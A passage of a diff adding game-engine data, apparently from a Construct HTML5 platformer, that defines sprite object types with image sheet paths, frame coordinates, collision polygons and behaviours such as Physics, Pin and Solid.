+ ],
+ [
+ "images/vfxexplosion-sheet0.png",
+ 155971,
+ 200,
+ 449,
+ 197,
+ 222,
+ 1,
+ 0.4670050740242004,
+ 0.5540540814399719,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/vfxexplosion-sheet0.png",
+ 155971,
+ 399,
+ 449,
+ 197,
+ 222,
+ 1,
+ 0.4670050740242004,
+ 0.5540540814399719,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/vfxexplosion-sheet0.png",
+ 155971,
+ 598,
+ 449,
+ 197,
+ 222,
+ 1,
+ 0.4670050740242004,
+ 0.5540540814399719,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 313941992421894,
+ [],
+ null
+ ],
+ [
+ "t381",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "unmute",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 800623610244981,
+ [
+ [
+ "images/soundsprites-sheet0.png",
+ 1648,
+ 0,
+ 0,
+ 45,
+ 38,
+ 1,
+ 0.4888888895511627,
+ 0.4210526347160339,
+ [],
+ [
+ -0.4888888895511627,
+ -0.4210526347160339,
+ 0.5111111402511597,
+ -0.4210526347160339,
+ 0.5111111402511597,
+ 0.5789473652839661,
+ 0.1858930885791779,
+ 0.5789473652839661,
+ -0.4888888895511627,
+ 0.5789473652839661
+ ],
+ 0
+ ]
+ ]
+ ],
+ [
+ "mute",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 407816604209032,
+ [
+ [
+ "images/soundsprites-sheet1.png",
+ 2596,
+ 0,
+ 0,
+ 45,
+ 38,
+ 1,
+ 0.4888888895511627,
+ 0.4210526347160339,
+ [],
+ [
+ -0.4888888895511627,
+ -0.4210526347160339,
+ 0.5111111402511597,
+ -0.4210526347160339,
+ 0.5111111402511597,
+ 0.5789473652839661,
+ 0.1858930885791779,
+ 0.5789473652839661,
+ -0.4888888895511627,
+ 0.5789473652839661
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 198609469114631,
+ [],
+ null
+ ],
+ [
+ "t382",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 327773081285785,
+ [
+ [
+ "images/sprite130-sheet0.png",
+ 2271,
+ 0,
+ 0,
+ 120,
+ 108,
+ 1,
+ 0.5416666865348816,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 359038067269171
+ ]
+ ],
+ false,
+ false,
+ 425270503760046,
+ [],
+ null
+ ],
+ [
+ "t383",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 380389410985611,
+ [
+ [
+ "images/sprite273-sheet0.png",
+ 2700,
+ 0,
+ 0,
+ 194,
+ 33,
+ 1,
+ 0.5,
+ 0.5151515007019043,
+ [],
+ [
+ -0.4793814122676849,
+ -0.3939394950866699,
+ 0.4793819785118103,
+ -0.3939394950866699,
+ 0.4793819785118103,
+ 0.3636364936828613,
+ -0.4793814122676849,
+ 0.3636364936828613
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Solid",
+ 17,
+ 678339406511518
+ ]
+ ],
+ false,
+ false,
+ 889401321154892,
+ [],
+ null
+ ],
+ [
+ "t384",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 403438502921266,
+ [
+ [
+ "images/cartoonjunglegametileset_platformerground14-sheet0.png",
+ 5629,
+ 0,
+ 0,
+ 128,
+ 128,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [
+ 0.46875,
+ 0,
+ 0.234375,
+ 0.234375,
+ 0,
+ 0.4374999403953552,
+ -0.4374999105930328,
+ 0.4374999403953552,
+ -0.5,
+ 0,
+ -0.5,
+ -0.5,
+ 0,
+ -0.5,
+ 0.421875,
+ -0.421875
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 621505483921455,
+ [],
+ null
+ ],
+ [
+ "t385",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 501976248135716,
+ [
+ [
+ "images/sprite4-sheet0.png",
+ 1321,
+ 0,
+ 0,
+ 86,
+ 24,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [
+ 0.005814015865325928,
+ 0.3645830154418945,
+ 0.1584309935569763,
+ 0.1197909712791443,
+ 0.357558012008667,
+ -0.4270834028720856,
+ 0.5,
+ 0.5,
+ -0.5,
+ 0.5
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 904047654377604
+ ]
+ ],
+ false,
+ false,
+ 182412761140637,
+ [],
+ null
+ ],
+ [
+ "t386",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 356566005146357,
+ [
+ [
+ "images/sprite6-sheet0.png",
+ 12875,
+ 0,
+ 0,
+ 140,
+ 138,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [
+ -0.3499999940395355,
+ -0.3478260040283203,
+ 0,
+ -0.4927536249160767,
+ 0.3500000238418579,
+ -0.3478260040283203,
+ 0.4857140183448792,
+ 0,
+ 0.3357139825820923,
+ 0.3333330154418945,
+ 0,
+ 0.4927539825439453,
+ -0.3499999940395355,
+ 0.3478260040283203,
+ -0.4928571283817291,
+ 0
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 569468843367132
+ ]
+ ],
+ false,
+ false,
+ 686441269679384,
+ [],
+ null
+ ],
+ [
+ "t387",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 437306965841563,
+ [
+ [
+ "images/sprite9-sheet0.png",
+ 141,
+ 0,
+ 0,
+ 257,
+ 16,
+ 1,
+ 0.5019454956054688,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 130165713462844,
+ [],
+ null
+ ],
+ [
+ "t388",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 30,
+ false,
+ 1,
+ 0,
+ false,
+ 579755275870058,
+ [
+ [
+ "images/explosioneffect3-sheet0.png",
+ 162606,
+ 925,
+ 399,
+ 88,
+ 79,
+ 1,
+ 0.8181818127632141,
+ 0.5063291192054749,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/explosioneffect3-sheet0.png",
+ 162606,
+ 1,
+ 869,
+ 111,
+ 95,
+ 1,
+ 0.8198198080062866,
+ 0.5052631497383118,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/explosioneffect3-sheet0.png",
+ 162606,
+ 866,
+ 836,
+ 137,
+ 114,
+ 1,
+ 0.8175182342529297,
+ 0.5087719559669495,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/explosioneffect3-sheet0.png",
+ 162606,
+ 699,
+ 836,
+ 165,
+ 134,
+ 1,
+ 0.8181818127632141,
+ 0.5074626803398132,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/explosioneffect3-sheet0.png",
+ 162606,
+ 727,
+ 399,
+ 196,
+ 157,
+ 1,
+ 0.8163265585899353,
+ 0.5031847357749939,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/explosioneffect3-sheet0.png",
+ 162606,
+ 733,
+ 214,
+ 231,
+ 183,
+ 1,
+ 0.8181818127632141,
+ 0.5081967115402222,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/explosioneffect3-sheet0.png",
+ 162606,
+ 733,
+ 1,
+ 268,
+ 211,
+ 1,
+ 0.8171641826629639,
+ 0.5071089863777161,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/explosioneffect3-sheet0.png",
+ 162606,
+ 699,
+ 593,
+ 308,
+ 241,
+ 1,
+ 0.8181818127632141,
+ 0.5062240958213806,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/explosioneffect3-sheet1.png",
+ 36756,
+ 335,
+ 1,
+ 326,
+ 256,
+ 1,
+ 0.8190184235572815,
+ 0.5078125,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/explosioneffect3-sheet1.png",
+ 36756,
+ 1,
+ 1,
+ 332,
+ 262,
+ 1,
+ 0.8192771077156067,
+ 0.5076335668563843,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/explosioneffect3-sheet0.png",
+ 162606,
+ 1,
+ 598,
+ 338,
+ 269,
+ 1,
+ 0.8195266127586365,
+ 0.5055761933326721,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/explosioneffect3-sheet0.png",
+ 162606,
+ 353,
+ 593,
+ 344,
+ 277,
+ 1,
+ 0.8168604373931885,
+ 0.505415141582489,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/explosioneffect3-sheet0.png",
+ 162606,
+ 1,
+ 313,
+ 350,
+ 283,
+ 1,
+ 0.8171428442001343,
+ 0.5053003430366516,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/explosioneffect3-sheet0.png",
+ 162606,
+ 370,
+ 301,
+ 355,
+ 290,
+ 1,
+ 0.8169013857841492,
+ 0.5068965554237366,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/explosioneffect3-sheet0.png",
+ 162606,
+ 370,
+ 1,
+ 361,
+ 298,
+ 1,
+ 0.81717449426651,
+ 0.5067114233970642,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/explosioneffect3-sheet0.png",
+ 162606,
+ 1,
+ 1,
+ 367,
+ 310,
+ 1,
+ 0.8174387216567993,
+ 0.5064516067504883,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/explosioneffect3-sheet0.png",
+ 162606,
+ 925,
+ 480,
+ 59,
+ 59,
+ 1,
+ 0.8135592937469482,
+ 0.508474588394165,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 423874061572628,
+ [],
+ null
+ ],
+ [
+ "t389",
+ 12,
+ false,
+ [],
+ 3,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 456163136367553,
+ [
+ [
+ "images/sprite11-sheet0.png",
+ 1863,
+ 0,
+ 0,
+ 170,
+ 57,
+ 1,
+ 0.5,
+ 0.5087719559669495,
+ [],
+ [
+ -0.5,
+ -0.4561403393745422,
+ 0.5,
+ -0.4561403393745422,
+ 0.5,
+ 0.4210530519485474,
+ -0.5,
+ 0.4210530519485474
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 811317601059258
+ ],
+ [
+ "Solid",
+ 17,
+ 324207901430236
+ ],
+ [
+ "Jumpthru",
+ 24,
+ 891000661852397
+ ]
+ ],
+ false,
+ false,
+ 270691170991862,
+ [],
+ null
+ ],
+ [
+ "t390",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 967916559663109,
+ [
+ [
+ "images/sprite16-sheet0.png",
+ 1592,
+ 0,
+ 0,
+ 59,
+ 59,
+ 1,
+ 0.508474588394165,
+ 0.5423728823661804,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Rotate",
+ 19,
+ 452506972779902
+ ],
+ [
+ "Pin",
+ 14,
+ 401103641215620
+ ]
+ ],
+ false,
+ false,
+ 195600661562261,
+ [],
+ null
+ ],
+ [
+ "t391",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 888674950779821,
+ [
+ [
+ "images/sprite248-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 611181314358750
+ ],
+ [
+ "Solid",
+ 17,
+ 636929595464993
+ ]
+ ],
+ false,
+ false,
+ 304795142455007,
+ [],
+ null
+ ],
+ [
+ "t392",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 363256547772493,
+ [
+ [
+ "images/sprite248-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 324875338097419
+ ],
+ [
+ "Solid",
+ 17,
+ 887357910942695
+ ]
+ ],
+ false,
+ false,
+ 978823629542662,
+ [],
+ null
+ ],
+ [
+ "t393",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 734258346027508,
+ [
+ [
+ "images/sprite247-sheet0.png",
+ 18925,
+ 0,
+ 0,
+ 119,
+ 119,
+ 1,
+ 0.5042017102241516,
+ 0.5042017102241516,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 760781759837347
+ ]
+ ],
+ false,
+ false,
+ 759053308934323,
+ [],
+ null
+ ],
+ [
+ "t394",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 598122248778775,
+ [
+ [
+ "images/sprite247-sheet0.png",
+ 18925,
+ 0,
+ 0,
+ 119,
+ 119,
+ 1,
+ 0.5042017102241516,
+ 0.5042017102241516,
+ [],
+ [
+ -0.5042017102241516,
+ -0.5042017102241516,
+ 0.4957982897758484,
+ -0.5042017102241516,
+ 0.4957982897758484,
+ 0.4537813067436218,
+ -0.5042017102241516,
+ 0.4537813067436218
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 466578604479028
+ ]
+ ],
+ false,
+ false,
+ 483543902155340,
+ [],
+ null
+ ],
+ [
+ "t395",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 887584297188135,
+ [
+ [
+ "images/sprite248-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 899947669853421
+ ],
+ [
+ "Solid",
+ 17,
+ 329212409877898
+ ]
+ ],
+ false,
+ false,
+ 960118915603166,
+ [],
+ null
+ ],
+ [
+ "t396",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 888917423240252,
+ [
+ [
+ "images/sprite247-sheet0.png",
+ 18925,
+ 0,
+ 0,
+ 119,
+ 119,
+ 1,
+ 0.5042017102241516,
+ 0.5042017102241516,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 419188729164461
+ ]
+ ],
+ false,
+ false,
+ 774760514038243,
+ [],
+ null
+ ],
+ [
+ "t397",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 701841037138765,
+ [
+ [
+ "images/sprite248-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 918828714596980
+ ],
+ [
+ "Solid",
+ 17,
+ 944441720643449
+ ]
+ ],
+ false,
+ false,
+ 466583726360523,
+ [],
+ null
+ ],
+ [
+ "t398",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 913334866512465,
+ [
+ [
+ "images/sprite247-sheet0.png",
+ 18925,
+ 0,
+ 0,
+ 119,
+ 119,
+ 1,
+ 0.5042017102241516,
+ 0.5042017102241516,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 105296946571365
+ ]
+ ],
+ false,
+ false,
+ 278739083360576,
+ [],
+ null
+ ],
+ [
+ "t399",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 961559557920830,
+ [
+ [
+ "images/sprite248-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 670045577962322
+ ],
+ [
+ "Solid",
+ 17,
+ 198511708204399
+ ]
+ ],
+ false,
+ false,
+ 172458027265239,
+ [],
+ null
+ ],
+ [
+ "t400",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "buttoff",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 278187086549973,
+ [
+ [
+ "images/button1-sheet0.png",
+ 163,
+ 1,
+ 1,
+ 65,
+ 16,
+ 1,
+ 0.5076923370361328,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "button",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 100746476519813,
+ [
+ [
+ "images/button1-sheet0.png",
+ 163,
+ 1,
+ 19,
+ 65,
+ 16,
+ 1,
+ 0.5076923370361328,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 790498624636528,
+ [],
+ null
+ ],
+ [
+ "t401",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 104038694073285,
+ [
+ [
+ "images/sprite285-sheet0.png",
+ 2947,
+ 0,
+ 0,
+ 322,
+ 33,
+ 1,
+ 0.05279503017663956,
+ 0.5151515007019043,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Solid",
+ 17,
+ 680767031656485
+ ]
+ ],
+ false,
+ false,
+ 803962737400110,
+ [],
+ null
+ ],
+ [
+ "t402",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 291548095753184,
+ [
+ [
+ "images/sprite285-sheet0.png",
+ 2947,
+ 0,
+ 0,
+ 322,
+ 33,
+ 1,
+ 0.05279503017663956,
+ 0.5151515007019043,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Solid",
+ 17,
+ 369179209557330
+ ]
+ ],
+ false,
+ false,
+ 304369422550337,
+ [],
+ null
+ ],
+ [
+ "t403",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 927963280817289,
+ [
+ [
+ "images/sprite287-sheet0.png",
+ 1206,
+ 0,
+ 0,
+ 142,
+ 142,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [
+ -0.3450700044631958,
+ -0.3450700044631958,
+ 0,
+ -0.49295774102211,
+ 0.3450700044631958,
+ -0.3450700044631958,
+ 0.4929580092430115,
+ 0,
+ 0.3450700044631958,
+ 0.3450700044631958,
+ 0,
+ 0.4929580092430115,
+ -0.3450700044631958,
+ 0.3450700044631958,
+ -0.49295774102211,
+ 0
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 252422953245487
+ ],
+ [
+ "Solid",
+ 17,
+ 785605652518579
+ ]
+ ],
+ false,
+ false,
+ 998325761187504,
+ [],
+ null
+ ],
+ [
+ "t404",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 785703168520063,
+ [
+ [
+ "images/sprite6-sheet0.png",
+ 12875,
+ 0,
+ 0,
+ 140,
+ 138,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [
+ -0.3499999940395355,
+ -0.3478260040283203,
+ 0,
+ -0.4927536249160767,
+ 0.3500000238418579,
+ -0.3478260040283203,
+ 0.4857140183448792,
+ 0,
+ 0.3357139825820923,
+ 0.3333330154418945,
+ 0,
+ 0.4927539825439453,
+ -0.3499999940395355,
+ 0.3478260040283203,
+ -0.4928571283817291,
+ 0
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Rotate",
+ 19,
+ 339476719891750
+ ]
+ ],
+ false,
+ false,
+ 314849449743324,
+ [],
+ null
+ ],
+ [
+ "t405",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "skin1",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 689862535338094,
+ [
+ [
+ "images/cog2-sheet0.png",
+ 5685,
+ 0,
+ 0,
+ 61,
+ 62,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ [],
+ [
+ -0.3278687000274658,
+ -0.3225809931755066,
+ -0.1885247230529785,
+ -0.4193547964096069,
+ -0.01639372110366821,
+ -0.4516128897666931,
+ 0.1639342904090881,
+ -0.4193547964096069,
+ 0.3114752769470215,
+ -0.3225809931755066,
+ 0.4180322885513306,
+ -0.1774190068244934,
+ 0.4590162634849548,
+ 0,
+ 0.4180322885513306,
+ 0.1774190068244934,
+ 0.3155732750892639,
+ 0.3225809931755066,
+ 0.1639342904090881,
+ 0.4193549752235413,
+ -0.01639372110366821,
+ 0.4516130089759827,
+ -0.1885247230529785,
+ 0.4193549752235413,
+ -0.3278687000274658,
+ 0.3225809931755066,
+ -0.4262295067310333,
+ 0.1774190068244934,
+ -0.4590164124965668,
+ 0,
+ -0.4262295067310333,
+ -0.1935479938983917
+ ],
+ 0
+ ]
+ ]
+ ],
+ [
+ "skin2",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 902643500611218,
+ [
+ [
+ "images/cog2-sheet0.png",
+ 5685,
+ 0,
+ 0,
+ 61,
+ 62,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ [],
+ [
+ -0.3278687000274658,
+ -0.3225809931755066,
+ -0.1885247230529785,
+ -0.4193547964096069,
+ -0.01639372110366821,
+ -0.4516128897666931,
+ 0.1639342904090881,
+ -0.4193547964096069,
+ 0.3114752769470215,
+ -0.3225809931755066,
+ 0.4180322885513306,
+ -0.1774190068244934,
+ 0.4590162634849548,
+ 0,
+ 0.4180322885513306,
+ 0.1774190068244934,
+ 0.3155732750892639,
+ 0.3225809931755066,
+ 0.1639342904090881,
+ 0.4193549752235413,
+ -0.01639372110366821,
+ 0.4516130089759827,
+ -0.1885247230529785,
+ 0.4193549752235413,
+ -0.3278687000274658,
+ 0.3225809931755066,
+ -0.4262295067310333,
+ 0.1774190068244934,
+ -0.4590164124965668,
+ 0,
+ -0.4262295067310333,
+ -0.1935479938983917
+ ],
+ 0
+ ]
+ ]
+ ],
+ [
+ "skin3",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 211855765992842,
+ [
+ [
+ "images/cog2-sheet0.png",
+ 5685,
+ 0,
+ 0,
+ 61,
+ 62,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ [],
+ [
+ -0.3278687000274658,
+ -0.3225809931755066,
+ -0.1885247230529785,
+ -0.4193547964096069,
+ -0.01639372110366821,
+ -0.4516128897666931,
+ 0.1639342904090881,
+ -0.4193547964096069,
+ 0.3114752769470215,
+ -0.3225809931755066,
+ 0.4180322885513306,
+ -0.1774190068244934,
+ 0.4590162634849548,
+ 0,
+ 0.4180322885513306,
+ 0.1774190068244934,
+ 0.3155732750892639,
+ 0.3225809931755066,
+ 0.1639342904090881,
+ 0.4193549752235413,
+ -0.01639372110366821,
+ 0.4516130089759827,
+ -0.1885247230529785,
+ 0.4193549752235413,
+ -0.3278687000274658,
+ 0.3225809931755066,
+ -0.4262295067310333,
+ 0.1774190068244934,
+ -0.4590164124965668,
+ 0,
+ -0.4262295067310333,
+ -0.1935479938983917
+ ],
+ 0
+ ]
+ ]
+ ],
+ [
+ "skin4",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 691716010865227,
+ [
+ [
+ "images/cog2-sheet0.png",
+ 5685,
+ 0,
+ 0,
+ 61,
+ 62,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ [],
+ [
+ -0.3278687000274658,
+ -0.3225809931755066,
+ -0.1885247230529785,
+ -0.4193547964096069,
+ -0.01639372110366821,
+ -0.4516128897666931,
+ 0.1639342904090881,
+ -0.4193547964096069,
+ 0.3114752769470215,
+ -0.3225809931755066,
+ 0.4180322885513306,
+ -0.1774190068244934,
+ 0.4590162634849548,
+ 0,
+ 0.4180322885513306,
+ 0.1774190068244934,
+ 0.3155732750892639,
+ 0.3225809931755066,
+ 0.1639342904090881,
+ 0.4193549752235413,
+ -0.01639372110366821,
+ 0.4516130089759827,
+ -0.1885247230529785,
+ 0.4193549752235413,
+ -0.3278687000274658,
+ 0.3225809931755066,
+ -0.4262295067310333,
+ 0.1774190068244934,
+ -0.4590164124965668,
+ 0,
+ -0.4262295067310333,
+ -0.1935479938983917
+ ],
+ 0
+ ]
+ ]
+ ],
+ [
+ "skin5",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 339075671347608,
+ [
+ [
+ "images/cog2-sheet0.png",
+ 5685,
+ 0,
+ 0,
+ 61,
+ 62,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ [],
+ [
+ -0.3278687000274658,
+ -0.3225809931755066,
+ -0.1885247230529785,
+ -0.4193547964096069,
+ -0.01639372110366821,
+ -0.4516128897666931,
+ 0.1639342904090881,
+ -0.4193547964096069,
+ 0.3114752769470215,
+ -0.3225809931755066,
+ 0.4180322885513306,
+ -0.1774190068244934,
+ 0.4590162634849548,
+ 0,
+ 0.4180322885513306,
+ 0.1774190068244934,
+ 0.3155732750892639,
+ 0.3225809931755066,
+ 0.1639342904090881,
+ 0.4193549752235413,
+ -0.01639372110366821,
+ 0.4516130089759827,
+ -0.1885247230529785,
+ 0.4193549752235413,
+ -0.3278687000274658,
+ 0.3225809931755066,
+ -0.4262295067310333,
+ 0.1774190068244934,
+ -0.4590164124965668,
+ 0,
+ -0.4262295067310333,
+ -0.1935479938983917
+ ],
+ 0
+ ]
+ ]
+ ],
+ [
+ "skin6",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 752301494182903,
+ [
+ [
+ "images/cog2-sheet0.png",
+ 5685,
+ 0,
+ 0,
+ 61,
+ 62,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ [],
+ [
+ -0.3278687000274658,
+ -0.3225809931755066,
+ -0.1885247230529785,
+ -0.4193547964096069,
+ -0.01639372110366821,
+ -0.4516128897666931,
+ 0.1639342904090881,
+ -0.4193547964096069,
+ 0.3114752769470215,
+ -0.3225809931755066,
+ 0.4180322885513306,
+ -0.1774190068244934,
+ 0.4590162634849548,
+ 0,
+ 0.4180322885513306,
+ 0.1774190068244934,
+ 0.3155732750892639,
+ 0.3225809931755066,
+ 0.1639342904090881,
+ 0.4193549752235413,
+ -0.01639372110366821,
+ 0.4516130089759827,
+ -0.1885247230529785,
+ 0.4193549752235413,
+ -0.3278687000274658,
+ 0.3225809931755066,
+ -0.4262295067310333,
+ 0.1774190068244934,
+ -0.4590164124965668,
+ 0,
+ -0.4262295067310333,
+ -0.1935479938983917
+ ],
+ 0
+ ]
+ ]
+ ],
+ [
+ "skin7",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 984800550471541,
+ [
+ [
+ "images/cog2-sheet0.png",
+ 5685,
+ 0,
+ 0,
+ 61,
+ 62,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ [],
+ [
+ -0.3278687000274658,
+ -0.3225809931755066,
+ -0.1885247230529785,
+ -0.4193547964096069,
+ -0.01639372110366821,
+ -0.4516128897666931,
+ 0.1639342904090881,
+ -0.4193547964096069,
+ 0.3114752769470215,
+ -0.3225809931755066,
+ 0.4180322885513306,
+ -0.1774190068244934,
+ 0.4590162634849548,
+ 0,
+ 0.4180322885513306,
+ 0.1774190068244934,
+ 0.3155732750892639,
+ 0.3225809931755066,
+ 0.1639342904090881,
+ 0.4193549752235413,
+ -0.01639372110366821,
+ 0.4516130089759827,
+ -0.1885247230529785,
+ 0.4193549752235413,
+ -0.3278687000274658,
+ 0.3225809931755066,
+ -0.4262295067310333,
+ 0.1774190068244934,
+ -0.4590164124965668,
+ 0,
+ -0.4262295067310333,
+ -0.1935479938983917
+ ],
+ 0
+ ]
+ ]
+ ],
+ [
+ "skin8",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 544093476396722,
+ [
+ [
